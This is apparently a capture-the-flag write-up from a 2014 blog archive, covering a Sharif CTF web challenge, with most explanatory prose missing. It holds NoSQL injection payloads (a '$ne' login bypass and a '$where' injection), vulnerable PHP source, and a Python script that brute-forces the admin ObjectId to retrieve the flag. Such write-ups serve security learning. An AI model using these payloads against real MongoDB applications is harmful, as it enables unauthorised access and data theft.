Home » Archives for October 2014
.PNG)
Quote:login and find the flag
http://ctf.sharif.edu:25489
Quote:# exiftool favicon.png
...
File Name : favicon.png
Directory : .
File Size : 2.6 kB
File Modification : 2014:09:23 12:59:18+02:00
File Permissions : rw-r--r--
File Type : PNG
MIME Type : image/png
...
Thumb URI : file:///Users/alz/Developer/git/pictonic/assets/svgs/3e91140ac1bfb9903b91c1b0ca092167.svg
...
Quote:$collection->find(array(
"username" = $_GET['username'],
"passwd" = $_GET['passwd']
));
Quote:mysql_query("SELECT * FROM collection
WHERE username=" . $_GET['username'] . ",
AND passwd=" . $_GET['passwd'])
Quote:$collection->find(array
"username" => "admin",
"passwd" => array("$ne" = 1)
));
SELECT * FROM collection
WHERE username="admin",
AND passwd!=1Quote:Code:username=admin&password[$ne]=1&captcha=AXBYCZ
Quote:Code:<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:03 AM
*/
session_start();
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$username = $_POST['username'];
$password = $_POST['password'];
$q = array(
'username' => $username,
'password' => $password
);
include 'Captcha.php';
$v = Captcha::validate($_POST['captcha']);
if ($v) {
$_SESSION['time'] = intval(time() / 60);
$_SESSION['count'] = 25;
}else{
die('invalid captcha');
}
$user = $users_col->findOne($q);
if(is_null($user)){
#header("Location: login-failed.html");
die('invalid username or password');
}else{
$_SESSION['id'] = $user['_id']->{'$id'};
header("Location: panel.php");
die();
}
Quote:Code:$q = array(
'username' => $username,
'password' => $password
);
$user = $users_col->findOne($q);
Quote:Code:$collection->find(array(
"username" => $_GET['username'],
"passwd" => $_GET['passwd']
));
Quote:Code:<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:00 AM
*/
function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$flag_col = $db->flag;
$user = $users_col->findOne(array('username' => 'admin'));
$flag = $flag_col->findOne();
// old codes
//$staffs = array('gholi','bobak','bijan','arash');
//
//foreach($staffs as $staff){
// $users_col->insert(array(
// 'username' => $staff,
// 'role'=>'staff',
// 'password' => generateRandomString(20),
// ));
//}
//$visitors = array('noone','bob','john','alice');
//
//foreach($visitors as $visitor){
// $users_col->insert(array(
// 'username' => $visitor,
// 'role'=>'visitor',
// 'password' => generateRandomString(10),
// ));
//}
if (is_null($user)) {
$users_col->insert(array(
'username' => 'admin',
'role'=>'admin',
'password' => generateRandomString(30),
));
}
if (is_null($flag)) {
$flag_col->insert(array(
'flag' => generateRandomString(30),
));
}
?>
Quote:Code:<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:25 AM
*/
session_start();
if (is_null($_SESSION['id'])) {
header("Location: index.html");
die();
}
$ajax = false;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) AND strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
$ajax = true;
}
if (!$ajax) {
die();
}
$T = 60;
$N = 20;
$t = intval(time() / $T);
if ($_SESSION['time'] < $t) {
$_SESSION['time'] = intval(time() / $T);
$_SESSION['count'] = $N;
} else {
if ($_SESSION['count'] <= 0) {
header('Content-Type: application/json');
echo json_encode(array("You are so fast. Please slow down. And wait for one minute."));
die();
}
$_SESSION['count'] = $_SESSION['count'] - 1;
}
$q = '';
if (isset($_GET['q'])) {
$q = $_GET['q'];
}
if ($q == 'users') {
$role = $_GET['role'];
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$users = $users_col->find(array(
'$where' => "this.role == '$role'"
));
$names = array();
foreach ($users as $user) {
$names[] = $user['username'];
}
header('Content-Type: application/json');
echo json_encode($names);
}
if ($q == 'flag') {
$id = $_GET['id'];
$m = new MongoClient();
$db = $m->ctf5;
$flag_col = $db->flag;
$flag = $flag_col->findOne(array('_id' => new MongoId($id)));
var_dump($flag);
}
?>
api.php?q=flag&id=Quote:Code:<?php
if ($q == 'users') {
$role = $_GET['role'];
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$users = $users_col->find(array(
'$where' => "this.role == '$role'"
));
$names = array();
foreach ($users as $user) {
$names[] = $user['username'];
}
header('Content-Type: application/json');
echo json_encode($names);
}
?>
Quote:api.php?q=user&role=admin’ && (this._id.str[x]==’Y’) && ‘1’==’1
Quote:Code:#!/usr/bin/python
import urllib
import requests
import time
baseUrl = "http://ctf.sharif.edu:25489/api.php?q=users&role="
headers = {'X-Requested-With': 'XMLHttpRequest'}
cookies = dict(PHPSESSID='amuedn0ra3fhj0diatdb4kkkt1')
admin_id = ''
# Guessing admin id
for c in range(0, 24):
print("[*] Guessing character "+str(c + 1))
for x in range(0x10):
letter = format(x,'x')
query = "admin' && (this._id.str[" + str(c) + "]=='" + letter + "') && '1'=='1"
url = baseUrl + urllib.quote_plus(query)
response = requests.get(url, headers = headers, cookies=cookies)
if len(response.text)==9:
admin_id += format(x, 'x')
print(" + Admin id guessed: " + admin_id)
print("")
break
time.sleep(1)
# Getting the flag
print("[*] Go for the flag!")
flag_id = format(int(admin_id, 16) + 1, 'x')
url = "http://ctf.sharif.edu:25489/api.php?q=flag&id="+flag_id
response = requests.get(url, headers = headers, cookies=cookies)
print response.textCode:# ./sharif14_pwnit.py
[*] Guessing character 1
+ Admin id guessed: 5
[*] Guessing character 2
+ Admin id guessed: 53
[...]
[*] Guessing character 23
+ Admin id guessed: 53fadd3d7137a495319e10f
[*] Guessing character 24
+ Admin id guessed: 53fadd3d7137a495319e10f3
[*] Go for the flag!
array(2) {
["_id"]=>
object(MongoId)#7 (1) {
["$id"]=>
string(24) "53fadd3d7137a495319e10f4"
}
["flag"]=>
string(30) "9fmTOOdbm1A76o40Bb9N3wpqvozdJI"
}
Quote:
Quote:
Quote:
Quote:netdiscover -r 192.168.1.0/24 -i vmnet2
Quote:
